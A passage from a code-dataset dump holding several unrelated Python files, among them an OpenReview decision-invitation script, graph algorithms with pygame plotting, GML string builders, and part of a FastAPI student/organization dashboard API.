probs.data[0].view(board.board.shape))\n\n","repo_name":"masus04/Deep-Reinforcement-Learning-for-Boardgames","sub_path":"Othello/experiments/analyse_player_file.py","file_name":"analyse_player_file.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"37"} +{"seq_id":"2792489817","text":"import argparse\nfrom re import sub\nimport openreview\nfrom tqdm import tqdm\nimport csv\nimport decision_process\n\n\"\"\"\nOPTIONAL SCRIPT ARGUMENTS\n\n baseurl - the URL of the OpenReview server to connect to (live site: https://openreview.net)\n username - the email address of the logging in user\n password - the user's password\n\n\"\"\"\nparser = argparse.ArgumentParser()\nparser.add_argument('--baseurl', help=\"base URL\")\nparser.add_argument('--username')\nparser.add_argument('--password')\nparser.add_argument('--confid')\n# Posts decision invitations to all commitment submission invitations \nargs = parser.parse_args()\nconfid = args.confid\nclient = openreview.Client(baseurl=args.baseurl, username=args.username, password=args.password)\nprogram_chairs_id = \"{confid}/Program_Chairs\"\n\nwith open('decision_process.py') as d:\n content = d.read()\n process = content.replace(\"CONFERENCE_ID = ''\", f\"CONFERENCE_ID = '{confid}'\")\n process = process.replace(\"CONFERENCE_SHORT_NAME = ''\", f\"CONFERENCE_SHORT_NAME = '{confid.split('/')[-1]}'\")\n decision_super = openreview.Invitation(\n id = f\"{confid}/-/Commitment_Decision\",\n readers = [\"everyone\"],\n writers = [f\"{confid}\"],\n signatures = [f\"{confid}\"],\n invitees = [f\"{confid}/Program_Chairs\"],\n reply = {\n \"readers\":{\n \"values\": [\n f\"{confid}\",\n f\"{confid}/Program_Chairs\"\n \"{signatures}\"\n ]\n },\n \"writers\":{\n \"values-copied\":[\n f\"{confid}\",\n \"{signatures}\"\n ]\n },\n \"signatures\":{\n \"values-regex\":program_chairs_id\n },\n \"content\": {\n \"decision\": {\n \"order\": 1,\n \"value-radio\": [\n \"Accept\",\n \"Reject\"\n ],\n \"description\": \"Please select your decision\",\n \"required\": True\n },\n \"comment\": {\n \"order\": 2,\n \"value-regex\": \"[\\\\S\\\\s]{1,200000}\",\n \"description\": \"Provide an optional comment about your decision\",\n \"required\": False\n }\n }\n \n }\n )\n client.post_invitation(decision_super)\n\n acl_blind_submissions = list(openreview.tools.iterget_notes(client, invitation = f'{confid}/-/Blind_Commitment_Submission'))\n program_chairs_id = f'{confid}/Program_Chairs'\n\n for acl_blind_submission in tqdm(acl_blind_submissions):\n author_id = f'{confid}/Commitment{acl_blind_submission.number}/Authors'\n conflict_id = f'{confid}/Commitment{acl_blind_submission.number}/Conflicts'\n decision = client.post_invitation(openreview.Invitation(\n id = f\"{confid}/Commitment{acl_blind_submission.number}/-/Decision\",\n super = f\"{confid}/-/Commitment_Decision\",\n signatures = [confid],\n multiReply= False,\n process_string = process,\n reply = {\n \"forum\": acl_blind_submission.forum,\n \"replyto\": acl_blind_submission.forum,\n \"signatures\": {\n \"values-regex\": program_chairs_id,\n \"description\": \"How your identity will be displayed.\"\n },\n \"readers\": {\n \"values\": [program_chairs_id, author_id]\n },\n \"writers\": {\n \"values\": [program_chairs_id]\n }\n }\n )\n )","repo_name":"openreview/openreview-scripts","sub_path":"venues/aclweb.org/Workshops/post_decision_invitations.py","file_name":"post_decision_invitations.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"8839604441","text":"# 힙 : 이증우선순위큐\n\ndef solution(operations):\n answer = []\n que = []\n\n for operation in operations:\n operation = operation.split()\n\n if operation[0] == 'I':\n que.append(int(operation[1]))\n que.sort()\n else:\n if que:\n if operation[1] == '1':\n que.pop()\n else:\n que.pop(0)\n\n if not que:\n answer = [0, 0]\n else:\n answer = [que.pop(), que.pop(0)]\n\n return answer\n\n","repo_name":"SimHongSub/Algorithm","sub_path":"programmers/double_priority.py","file_name":"double_priority.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"34441437500","text":"def get_gml_point(pos):\n srsDmn = 'srsDimension=\\\"' + getValue(\"srsDimension\") + '\\\" '\n srsVal = getValue(\"srsName\")\n if srsVal == \"urn:ogc:def:crs:EPSG::4326\":\n srsVal = 'http://www.opengis.net/def/crs/EPSG/0/4326'\n srsNm = 'srsName=\\\"' + srsVal + '\\\" '\n gml = 'xmlns:gml=\\\"' + getValue(\"xmlns:gml\") + '\\\"> '\n pos = '<gml:pos>' + pos + '</gml:pos> '\n return '<gml:Point ' + srsDmn + srsNm + gml + pos + '</gml:Point>'\n\ndef get_gml_line(pos):\n srsDmn = 'srsDimension=\\\"' + getValue(\"srsDimension\") + '\\\" '\n srsVal = getValue(\"srsName\")\n if srsVal == \"urn:ogc:def:crs:EPSG::4326\":\n srsVal = 'http://www.opengis.net/def/crs/EPSG/0/4326'\n srsNm = 'srsName=\\\"' + srsVal + '\\\" '\n gml = 'xmlns:gml=\\\"' + getValue(\"xmlns:gml\") + '\\\"> '\n pos = '<gml:posList>' + pos + '</gml:posList> '\n return '<gml:LineString ' + srsDmn + srsNm + gml + pos + '</gml:LineString>'\n\ndef get_gml_polygon(pos):\n srsDmn = 'srsDimension=\\\"' + getValue(\"srsDimension\") + '\\\" '\n srsVal = getValue(\"srsName\")\n if srsVal == \"urn:ogc:def:crs:EPSG::4326\":\n srsVal = 'http://www.opengis.net/def/crs/EPSG/0/4326'\n exterior = getValue(\"gml:exterior\")\n if exterior != '':\n exterior = exterior.split(\"\\\"\")\n exteriorPos = \"<gml:exterior>\" + \"<gml:LinearRing>\" + \"<gml:posList>\" + exterior[5] + \"<gml:posList>\" + \"<gml:LinearRing>\" + \"</gml:exterior>\"\n interior = getValue(\"gml:interior\")\n if interior != '':\n interior = interior.split(\"\\\"\")\n interiorPos = \"<gml:interior>\" + \"<gml:LinearRing>\" + \"<gml:posList>\" + interior[5] + \"<gml:posList>\" + \"<gml:LinearRing>\" + \"</gml:interior>\"\n srsNm = 'srsName=\\\"' + srsVal + '\\\" '\n gml = 'xmlns:gml=\\\"' + getValue(\"xmlns:gml\") + '\\\"> '\n pos = '<gml:posList>' + pos + '</gml:posList> '\n return '<gml:Polygon ' + srsDmn + srsNm + gml + exteriorPos + interiorPos + '</gml:Polygon>'\n\n\n\n","repo_name":"Jacoscript/mapkb-docker-container","sub_path":"makb-assets/Dockerbuild/karma/python/usgs_make_gml.py","file_name":"usgs_make_gml.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18586639207","text":"import json\r\nimport random\r\nimport traceback\r\nfrom math import sqrt\r\nfrom typing import List\r\n\r\nimport pygame\r\n\r\nimport GraphInterface\r\nfrom DiGraph import DiGraph\r\nfrom GraphAlgoInterface import GraphAlgoInterface\r\nfrom MyNode import MyNode\r\n\r\nMAX_VALUE = 999999999\r\nGrey = (120, 128, 144)\r\nBlack = (0, 0, 0)\r\nWhite = (255, 255, 255)\r\n\r\n\r\nclass GraphAlgo(GraphAlgoInterface):\r\n\r\n def __init__(self, graph: GraphInterface = None):\r\n self.graph = graph\r\n\r\n def get_graph(self) -> GraphInterface:\r\n return self.graph\r\n\r\n def load_from_json(self, file_name: str) -> bool:\r\n try:\r\n with open(file_name, 'r') as graph_json:\r\n graph_dict = json.load(graph_json)\r\n graph = DiGraph()\r\n nodes_list = graph_dict.get(\"Nodes\")\r\n edges_list = graph_dict.get(\"Edges\")\r\n for n in nodes_list:\r\n if n.keys().__contains__(\"pos\"):\r\n pos = n[\"pos\"]\r\n pos_list = pos.split(\",\")\r\n x = float(pos_list[0])\r\n y = float(pos_list[1])\r\n z = float(pos_list[2])\r\n graph.add_node(n[\"id\"], (x, y, z))\r\n else:\r\n graph.add_node(n[\"id\"])\r\n\r\n for e in edges_list:\r\n graph.add_edge(e[\"src\"], e[\"dest\"], e[\"w\"])\r\n\r\n self.__init__(graph)\r\n except FileNotFoundError:\r\n traceback.print_exc()\r\n return False\r\n return True\r\n\r\n def save_to_json(self, file_name: str) -> bool:\r\n nodes_list = []\r\n edges_list = []\r\n for node_index in self.graph.get_all_v():\r\n node = self.graph.get_all_v()[node_index]\r\n if node.get_pos() is not None:\r\n nodes_list.append(\r\n {\"pos\": f\"{node.get_pos()[0]},{node.get_pos()[1]},{node.get_pos()[2]}\", \"id\": node_index})\r\n else:\r\n nodes_list.append({\"id\": node_index})\r\n for dest in node.get_out_edges():\r\n edges_list.append({\"src\": node_index, \"w\": node.get_out_edges()[dest], \"dest\": dest})\r\n dict_graph = {\"Edges\": edges_list, \"Nodes\": nodes_list}\r\n try:\r\n with open(file_name, 'w') as f:\r\n json.dump(dict_graph, f, indent=2)\r\n except FileNotFoundError:\r\n traceback.print_exc()\r\n return False\r\n return True\r\n\r\n def shortest_path(self, id1: int, id2: int) -> (float, list):\r\n ans = []\r\n self.dijkstra(self.graph.get_all_v().get(id1))\r\n prev = self.graph.get_all_v().get(id2)\r\n shortest_dist = prev.get_distance()\r\n if prev.get_distance() == MAX_VALUE:\r\n return MAX_VALUE, []\r\n while prev is not None:\r\n ans.append(prev)\r\n prev = prev.get_prev()\r\n ans.reverse()\r\n return shortest_dist, ans\r\n\r\n def TSP(self, node_lst: List[int]) -> (List[int], float):\r\n for node in self.graph.get_all_v().values():\r\n node.set_tag(White)\r\n ans = []\r\n cities = node_lst.copy()\r\n shortest_dist = 0\r\n while len(cities) > 0:\r\n if len(cities) == 1:\r\n ans.append(cities[0])\r\n break\r\n for intersection_index in cities:\r\n intersection = self.graph.get_all_v().get(intersection_index)\r\n if intersection.get_tag() == Black:\r\n cities.pop(intersection_index)\r\n n1 = self.graph.get_all_v().get(cities.pop(0))\r\n if len(cities) == 0:\r\n break\r\n n2 = self.graph.get_all_v().get(cities[0])\r\n temp_dist, path = self.shortest_path(n1.get_key(), n2.get_key())\r\n shortest_dist = shortest_dist + temp_dist\r\n for intersection in path:\r\n if ans.__contains__(intersection.get_key()) and intersection.get_key() != n2.get_key():\r\n intersection.set_tag(Black)\r\n if intersection != n2:\r\n ans.append(intersection.get_key())\r\n return ans, shortest_dist\r\n\r\n def centerPoint(self) -> (int, float):\r\n if not self.is_connected():\r\n return -1, MAX_VALUE\r\n\r\n shortest_dist = MAX_VALUE\r\n ans_node_index = -1\r\n\r\n for node in self.graph.get_all_v().values():\r\n self.dijkstra(node)\r\n max_dist = -1\r\n for v in self.graph.get_all_v().values():\r\n if v.get_distance() > max_dist:\r\n max_dist = v.get_distance()\r\n if max_dist < shortest_dist:\r\n shortest_dist = max_dist\r\n ans_node_index = node.get_key()\r\n\r\n return ans_node_index, shortest_dist\r\n\r\n def plot_graph(self) -> None:\r\n width, height = 800, 600\r\n win = pygame.display.set_mode((width, height))\r\n win.fill(Grey)\r\n pygame.display.set_caption(\"Directed Weighted Graph\")\r\n pygame.font.init()\r\n self.draw_graph(win)\r\n run = True\r\n while run:\r\n pygame.display.update()\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n run = False\r\n pygame.quit()\r\n\r\n def dijkstra(self, src_node: MyNode) -> None:\r\n queue = {}\r\n for node in self.graph.get_all_v().values():\r\n node.set_prev(None)\r\n node.set_distance(MAX_VALUE)\r\n queue[node.get_key()] = node\r\n\r\n src_node.set_distance(0)\r\n while len(queue) != 0:\r\n key = self.get_min_dist_node_key(queue)\r\n if key == -1:\r\n break\r\n u = self.graph.get_all_v().get(key)\r\n queue.pop(key)\r\n for v_index in u.get_out_edges().keys():\r\n v = self.graph.get_all_v().get(v_index)\r\n dis_from_src = u.get_distance() + u.get_out_edges().get(v_index)\r\n if dis_from_src < v.get_distance():\r\n v.set_distance(dis_from_src)\r\n v.set_prev(u)\r\n\r\n def get_min_dist_node_key(self, queue: dict) -> int:\r\n ans = -1\r\n dist = MAX_VALUE\r\n for node in queue.values():\r\n if node.get_distance() < dist:\r\n dist = node.get_distance()\r\n ans = node.get_key()\r\n return ans\r\n\r\n def bfs(self, s: MyNode):\r\n for node in self.graph.get_all_v().values():\r\n node.set_distance(MAX_VALUE)\r\n node.set_tag(White)\r\n\r\n s.set_tag(Grey)\r\n s.set_distance(0)\r\n queue = [s]\r\n while len(queue) > 0:\r\n u = queue.pop(0)\r\n for v_index in u.get_out_edges().keys():\r\n v = self.graph.get_all_v().get(v_index)\r\n if v.get_tag() == White:\r\n v.set_tag(Grey)\r\n v.set_distance(u.get_distance() + 1)\r\n queue.append(v)\r\n\r\n u.set_tag(Black)\r\n\r\n def is_connected(self) -> bool:\r\n n = None\r\n for node in self.graph.get_all_v().values():\r\n n = node\r\n break\r\n if n is None:\r\n return False\r\n self.bfs(n)\r\n for node in self.graph.get_all_v().values():\r\n if node.get_distance() == MAX_VALUE:\r\n return False\r\n self.graph.reverse_graph()\r\n self.bfs(n)\r\n self.graph.reverse_graph()\r\n for node in self.graph.get_all_v().values():\r\n if node.get_distance() == MAX_VALUE:\r\n return False\r\n return True\r\n\r\n def draw_graph(self, win: pygame.Surface):\r\n max_xy = self.get_max_xy()\r\n radius = 5\r\n if max_xy == (-1, -1):\r\n for node in self.graph.get_all_v().values():\r\n x = random.randrange(1, win.get_width())\r\n y = random.randrange(1, win.get_height())\r\n pygame.draw.circle(win, node.get_tag(), (x, y), 5)\r\n pos = str(node.get_key())\r\n font = pygame.font.SysFont('Ariel', 20)\r\n text = font.render(pos, True, (255, 0, 0))\r\n win.blit(text, (x - 15, y - 15, 100, 100))\r\n else:\r\n for node in self.graph.get_all_v().values():\r\n if node.get_pos() is not None:\r\n xy = self.get_scaled_xy(win, node.get_pos())\r\n x = xy[0]\r\n y = xy[1]\r\n else:\r\n x = random.randrange(0, max_xy[0])\r\n y = random.randrange(0, max_xy[1])\r\n pygame.draw.circle(win, node.get_tag(), (x, y), radius)\r\n pos = str(node.get_key())\r\n font = pygame.font.SysFont('Ariel', 20)\r\n text = font.render(pos, True, (255, 0, 0))\r\n win.blit(text, (x - 15, y - 15, 100, 100))\r\n for dest_index in node.get_out_edges():\r\n dest_node = self.graph.get_all_v()[dest_index]\r\n if dest_node.get_pos() is not None:\r\n dest_xy = self.get_scaled_xy(win, dest_node.get_pos())\r\n dest_x = dest_xy[0]\r\n dest_y = dest_xy[1]\r\n else:\r\n dest_x = random.randrange(0, max_xy[0])\r\n dest_y = random.randrange(0, max_xy[1])\r\n pygame.draw.line(win, (0, 0, 139), (x, y), (dest_x, dest_y))\r\n self.draw_arrow_head(win, x, y, dest_x, dest_y)\r\n pygame.display.update()\r\n\r\n def draw_arrow_head(self, win: pygame.surface, x1: float, y1: float, x2: float, y2: float) -> None:\r\n arrow_width = 15\r\n arrow_height = 2\r\n diff_x = x2 - x1\r\n diff_y = y2 - y1\r\n D = sqrt(diff_x * diff_x + diff_y * diff_y)\r\n xm = D - arrow_width\r\n xn = xm\r\n ym = arrow_height\r\n yn = -arrow_height\r\n\r\n sin = diff_y / D\r\n cos = diff_x / D\r\n\r\n x = xm * cos - ym * sin + x1\r\n ym = xm * sin + ym * cos + y1\r\n xm = x\r\n\r\n x = xn * cos - yn * sin + x1\r\n yn = xn * sin + yn * cos + y1\r\n xn = x\r\n\r\n points = ((x2, y2), (xm, ym), (xn, yn))\r\n\r\n pygame.draw.line(win, (0, 0, 139), (x1, y1), (x2, y2))\r\n pygame.draw.polygon(win, (0, 0, 139), points)\r\n\r\n def get_max_xy(self) -> ():\r\n x = -1\r\n y = -1\r\n for node in self.graph.get_all_v().values():\r\n if node.get_pos() is None:\r\n continue\r\n else:\r\n if node.get_pos()[0] > x:\r\n x = node.get_pos()[0]\r\n if node.get_pos()[1] > y:\r\n y = node.get_pos()[1]\r\n return x, y\r\n\r\n def get_min_xy(self):\r\n x = MAX_VALUE\r\n y = MAX_VALUE\r\n for node in self.graph.get_all_v().values():\r\n if node.get_pos() is None:\r\n continue\r\n else:\r\n if node.get_pos()[0] < x:\r\n x = node.get_pos()[0]\r\n if node.get_pos()[1] < y:\r\n y = node.get_pos()[1]\r\n return x, y\r\n\r\n def get_scaled_xy(self, win: pygame.Surface, coordinates: ()) -> ():\r\n max_xy = self.get_max_xy()\r\n min_xy = self.get_min_xy()\r\n wide_factor_x = win.get_width() / (max_xy[0] - min_xy[0])\r\n wide_factor_y = win.get_height() / (max_xy[1] - min_xy[1])\r\n x = (((coordinates[0] - min_xy[0]) * wide_factor_x) * 0.65) + 150\r\n y = (((coordinates[1] - min_xy[1]) * wide_factor_y) * 0.65) + 100\r\n return x, y\r\n","repo_name":"MoriyaBarel/HW","sub_path":"My-Ex3/src/GraphAlgo.py","file_name":"GraphAlgo.py","file_ext":"py","file_size_in_byte":11603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42086847802","text":"t = int(input())\n\nfor _ in range(t):\n n = int(input()) #방의 개수\n room = [True] * (n+1)\n\n for i in range(2, n+1):\n for j in range(i, n+1):\n if j%i == 0:\n if room[j] == True:\n room[j] = False\n else:\n room[j] = True\n\n print(room.count(True)-1)","repo_name":"subinmun1997/my_python-for-coding-test","sub_path":"BAEKJOON/solution478.py","file_name":"solution478.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"28484295219","text":"\"\"\"\nNode Component, Dashboard API\nThis section contains API endpoints for the dashboard. Dashboard API is only available on Node API with a role of Master Node. As a developer, I do understand the consequences of a node running 3 set of APIs, but to cut costs, I need to deploy it this way. In ideal world, this is not acceptable.\n\nThis file is part of FolioBlocks.\n\nFolioBlocks is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.\nFolioBlocks is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\nYou should have received a copy of the GNU General Public License along with FolioBlocks. If not, see <https://www.gnu.org/licenses/>.\n\"\"\"\n\nfrom asyncio import gather\nfrom base64 import urlsafe_b64encode\nfrom datetime import datetime, timedelta\nfrom http import HTTPStatus\nfrom logging import Logger, getLogger\nfrom pathlib import Path\nfrom sqlite3 import IntegrityError\nfrom typing import Any, Mapping\n\nfrom aiofiles import open as aopen\nfrom blueprint.models import portfolio_settings, tx_content_mappings, users\nfrom blueprint.schemas import (\n StudentEditableProperties,\n DashboardContext,\n Portfolio,\n PortfolioSettings,\n Student,\n)\nfrom core.blockchain import BlockchainMechanism, get_blockchain_instance\nfrom core.constants import (\n ASYNC_TARGET_LOOP,\n PORTFOLIO_COOLDOWN_SECONDS_TO_ALLOW_STATE_CHANGE,\n USER_AVATAR_FOLDER_NAME,\n AddressUUID,\n BaseAPI,\n DashboardAPI,\n TransactionContextMappingType,\n UserEntity,\n)\nfrom core.dependencies import EnsureAuthorized, get_database_instance\nfrom databases import Database\nfrom fastapi import APIRouter, Depends, File, Form, HTTPException, Query\nfrom fastapi import Path as PathParams\nfrom fastapi import Response, UploadFile\nfrom sqlalchemy import func, select\nfrom sqlalchemy.sql.expression import Select, Update\nfrom starlette.datastructures import UploadFile as StarletteUploadFile\nfrom cryptography.fernet import Fernet\n\nfrom core.constants import (\n FILE_PAYLOAD_TO_ADDRESS_CHAR_LIMIT_MAX,\n FILE_PAYLOAD_TO_ADDRESS_CHAR_LIMIT_MIN,\n FILE_PAYLOAD_TO_ADDRESS_START_TRUNCATION_INDEX,\n HashUUID,\n TransactionActions,\n)\nfrom core.constants import FILE_PAYLOAD_TIMESTAMP_FORMAT_AS_KEY\nfrom blueprint.schemas import PortfolioLoadedContext\nfrom blueprint.schemas import DashboardStudent, DashboardOrganization\nfrom utils.processors import save_database_state_to_volume_storage\n\nlogger: Logger = getLogger(ASYNC_TARGET_LOOP)\n\ndashboard_router = APIRouter(\n prefix=\"/dashboard\",\n tags=[BaseAPI.DASHBOARD.value],\n)\n\n\n@dashboard_router.get(\n \"\",\n tags=[DashboardAPI.DASHBOARD_GENERAL_API.value],\n response_model=DashboardContext,\n summary=\"Obtains necessary information for the dashboard display.\",\n description=\"An API endpoint that returns the data of the user based on their role.\",\n)\nasync def get_dashboard_data(\n database_instance: Database = Depends(get_database_instance),\n entity_address_ref: AddressUUID\n | None = Depends(\n EnsureAuthorized(\n _as=[\n UserEntity.ORGANIZATION_DASHBOARD_USER,\n UserEntity.STUDENT_DASHBOARD_USER,\n ],\n return_address_from_token=True,\n )\n ),\n) -> DashboardContext:\n # - Get the context of this user.\n\n # - Dynamic Variable\n is_org_creator: bool = False\n\n if entity_address_ref is None:\n raise HTTPException(\n detail=\"Entity address does reference does not exist.\",\n status_code=HTTPStatus.NOT_FOUND,\n )\n\n get_user_basic_context_query: Select = select(\n [\n users.c.first_name,\n users.c.last_name,\n users.c.username,\n users.c.type,\n users.c.association,\n users.c.date_registered,\n ]\n ).where(users.c.unique_address == entity_address_ref)\n\n user_basic_context = await database_instance.fetch_one(get_user_basic_context_query)\n\n if user_basic_context is None:\n raise HTTPException(\n detail=\"Information from this user cannot be found, but was able to get authenticated. Please report this problem to the administrator.\",\n status_code=HTTPStatus.NOT_FOUND,\n )\n\n # - Get the association of this user (if its identified as an `UserEntity.ORGANIZATION_DASHBOARD_USER`) and compare against other date registration of other associates to see if it is valid for the 'is_org_creator'.\n # ? 'is_org_creator' is a flag or a switch to identify if this user is allowed to create an authentication code from new organization users. Please refer to the admin.py for more information regarding this implementation.\n\n if user_basic_context.type is UserEntity.ORGANIZATION_DASHBOARD_USER: # type: ignore\n\n # - Filter out these users by getting the their address and the date.\n covered_associates_via_date_query: Select = select([func.count()]).where(\n (users.c.date_registered < user_basic_context.date_registered)\n & (users.c.association == user_basic_context.association)\n ) # type: ignore\n\n # - Compare this address against others from their address.\n covered_associates = await database_instance.fetch_val(\n covered_associates_via_date_query\n )\n\n # ! False statement is already set, when this address is an org creator then set the org creator as `True`.\n if not covered_associates:\n is_org_creator = True\n\n resolved_reports: DashboardStudent | DashboardOrganization | None = None\n\n if user_basic_context.type is UserEntity.ORGANIZATION_DASHBOARD_USER:\n # - Get reports from the `users` for the the number of associated people from the association.\n get_associates_query: Select = select([users.c.unique_address]).where(\n users.c.association == user_basic_context.association\n )\n\n associates = await database_instance.fetch_all(get_associates_query)\n\n # - Get reports from the `tx_content_mapping` for the number of associated logs and extra.\n associate_log_count: int = 0\n associate_extra_count: int = 0\n\n for each_associate in associates:\n # - For the logs transaction.\n get_associated_logs_query: Select = select([func.count()]).where(\n (tx_content_mappings.c.address_ref == each_associate.unique_address)\n & (\n tx_content_mappings.c.content_type\n == TransactionContextMappingType.STUDENT_LOG\n )\n )\n\n associate_logs_count = await database_instance.fetch_val(\n get_associated_logs_query\n )\n\n if associate_log_count is not None and isinstance(associate_log_count, int):\n associate_log_count += associate_logs_count\n\n # - For the extra transaction.\n get_associated_extra_query: Select = select([func.count()]).where(\n (tx_content_mappings.c.address_ref == each_associate.unique_address)\n & (\n tx_content_mappings.c.content_type\n == TransactionContextMappingType.STUDENT_ADDITIONAL\n )\n )\n\n associate_extra_related = await database_instance.fetch_val(\n get_associated_extra_query\n )\n\n if associate_extra_related is not None and isinstance(\n associate_extra_related, int\n ):\n associate_extra_count += associate_extra_related\n\n # - Get the overall count of the transaction to get the calculation fine.\n get_overall_tx_count_query: Select = select([func.count()]).select_from(\n tx_content_mappings\n )\n\n overall_tx_count = await database_instance.fetch_val(get_overall_tx_count_query)\n\n # - Get the overall user count from the system.\n get_overall_user_count_query: Select = select([func.count()]).select_from(users)\n\n user_count = await database_instance.fetch_val(get_overall_user_count_query)\n\n resolved_reports = DashboardOrganization(\n total_associated=len(associates),\n total_users=user_count,\n total_associated_logs=associate_log_count,\n total_associated_extra=associate_extra_count,\n total_overall_info_outside=overall_tx_count,\n )\n\n elif user_basic_context.type is UserEntity.STUDENT_DASHBOARD_USER:\n # - Get count of associated logs from this student.\n get_logs_associated_count_query: Select = select([func.count()]).where(\n (tx_content_mappings.c.address_ref == entity_address_ref)\n & (\n tx_content_mappings.c.content_type\n == TransactionContextMappingType.STUDENT_LOG\n )\n )\n\n logs_count = await database_instance.fetch_val(get_logs_associated_count_query)\n\n # - Get count of associated extra from this student.\n get_extra_associated_count_query: Select = select([func.count()]).where(\n (tx_content_mappings.c.address_ref == entity_address_ref)\n & (\n tx_content_mappings.c.content_type\n == TransactionContextMappingType.STUDENT_ADDITIONAL\n )\n )\n\n extra_count = await database_instance.fetch_val(\n get_extra_associated_count_query\n )\n\n # - Get the overall count of the transaction to get the calculation fine.\n overall_tx_count_query: Select = select([func.count()]).select_from(\n tx_content_mappings\n )\n\n overall_tx_count = await database_instance.fetch_val(overall_tx_count_query)\n\n # - Get portfolio of this user for client-side calculation.\n get_portfolio_context_query: Select = portfolio_settings.select().where(\n portfolio_settings.c.from_user == entity_address_ref\n )\n\n portfolio_context = await database_instance.fetch_one(\n get_portfolio_context_query\n )\n\n resolved_reports = DashboardStudent(\n extra_associated_count=extra_count,\n logs_associated_count=logs_count,\n total_txs_overall=overall_tx_count,\n portfolio=PortfolioSettings(\n enable_sharing=portfolio_context.sharing_state,\n expose_email_info=portfolio_context.expose_email_state,\n show_files=portfolio_context.show_files,\n ),\n )\n\n else:\n raise HTTPException(\n detail=\"Cannot parse this user's information due to its role unqualified to access the dashboard.\",\n status_code=HTTPStatus.FORBIDDEN,\n )\n\n return DashboardContext(\n address=entity_address_ref,\n first_name=user_basic_context.first_name,\n last_name=user_basic_context.last_name,\n username=user_basic_context.username,\n role=user_basic_context.type,\n reports=resolved_reports,\n is_org_creator=is_org_creator,\n )\n\n\n@dashboard_router.get(\n \"/students\",\n tags=[\n DashboardAPI.INSTITUTION_API.value,\n ],\n response_model=list[Student],\n summary=\"Returns a set of students associated from the organization.\",\n description=\"An API endpoint that returns generated students from the blockchain, solely from the association from where this institution user belongs.\",\n)\nasync def get_associated_students(\n database_instance: Database = Depends(get_database_instance),\n org_user_address: AddressUUID\n | None = Depends(\n EnsureAuthorized(\n _as=UserEntity.ORGANIZATION_DASHBOARD_USER, return_address_from_token=True\n )\n ),\n) -> list[Student]:\n\n qualified_students: list[Student] = []\n\n # - [1] Get the `association` address from this user.\n get_association_from_address_query: Select = select([users.c.association]).where(\n users.c.unique_address == org_user_address\n )\n association_address_ref: AddressUUID | None = AddressUUID(\n await database_instance.fetch_val(get_association_from_address_query)\n )\n\n if association_address_ref is None:\n raise HTTPException(\n detail=\"There is no association from this user.\",\n status_code=HTTPStatus.NOT_FOUND,\n )\n\n # - [2] Get students who are associated with it.\n\n get_students_as_students_query: Select = select(\n [\n users.c.first_name,\n users.c.last_name,\n users.c.unique_address,\n users.c.program,\n users.c.date_registered,\n ]\n ).where(\n (users.c.association == association_address_ref)\n & (users.c.type == UserEntity.STUDENT_DASHBOARD_USER)\n )\n\n list_of_qualified_students = await database_instance.fetch_all(\n get_students_as_students_query\n )\n\n for each_student in list_of_qualified_students:\n qualified_students.append(\n Student(\n first_name=each_student.first_name,\n last_name=each_student.last_name,\n address=each_student.unique_address,\n program=each_student.program,\n date_created=each_student.date_registered,\n )\n )\n\n return qualified_students\n\n\n@dashboard_router.get(\n \"/user_profile\",\n tags=[DashboardAPI.STUDENT_API.value],\n response_model=StudentEditableProperties,\n summary=\"Returns the editable information from the student.\",\n description=\"An API endpoint that returns information that are editable from the student to display from their portfolio.\",\n)\nasync def get_user_profile(\n student_address_ref: AddressUUID\n | None = Depends(\n EnsureAuthorized(\n _as=UserEntity.STUDENT_DASHBOARD_USER, return_address_from_token=True\n )\n ),\n database_instance: Database = Depends(get_database_instance),\n) -> StudentEditableProperties:\n # - Get the information of this user.\n get_editable_info_query: Select = select(\n [users.c.avatar, users.c.description, users.c.skills, users.c.preferred_role]\n ).where(users.c.unique_address == student_address_ref)\n\n editable_infos = await database_instance.fetch_one(get_editable_info_query)\n\n return StudentEditableProperties(\n avatar=editable_infos.avatar,\n description=editable_infos.description,\n personal_skills=editable_infos.skills,\n preferred_role=editable_infos.preferred_role,\n )\n\n\n@dashboard_router.post(\n \"/apply_profile_changes\",\n tags=[DashboardAPI.STUDENT_API.value],\n response_model=StudentEditableProperties,\n summary=\"Applies changes of the editable information of the student.\",\n description=\"An API endpoint that applies changes to the editable information of the student.\",\n status_code=HTTPStatus.ACCEPTED,\n)\nasync def save_user_profile(\n student_address_ref: AddressUUID\n | None = Depends(\n EnsureAuthorized(\n _as=UserEntity.STUDENT_DASHBOARD_USER, return_address_from_token=True\n )\n ),\n database_instance: Database = Depends(get_database_instance),\n avatar: UploadFile | None = File(None, title=\"The avatar of this user.\"),\n description: str\n | None = Form(None, title=\"The description that basically describes the user.\"),\n personal_skills: str\n | None = Form(\n None,\n title=\"Skills that can be displayed from the portfolio to show extra bits of this user.\",\n ),\n preferred_role: str\n | None = Form(None, title=\"The student's preference over something to work on.\"),\n) -> Response:\n # * State variables.\n resolved_avatar_dir: str = \"\"\n\n if student_address_ref is None:\n raise HTTPException(\n detail=\"Cannot update the user profile because it doesn't exists or you are not authorized.\",\n status_code=HTTPStatus.NOT_FOUND,\n )\n\n # - Check for the fields.\n if (\n avatar is None\n and description is None\n and personal_skills is None\n and preferred_role is None\n ):\n return Response(status_code=HTTPStatus.ACCEPTED)\n\n # - When there's a avatar, just save, don't make it complicated bro.\n if isinstance(avatar, StarletteUploadFile):\n # @o Is there a directory for the `USER_AVATAR_FOLDER_NAME`?\n user_avatar_dir: Path = Path(USER_AVATAR_FOLDER_NAME)\n resolved_avatar_dir = f\"{user_avatar_dir}/{avatar.filename}\".replace(\":\", \"_\")\n\n if not user_avatar_dir.is_dir() or not 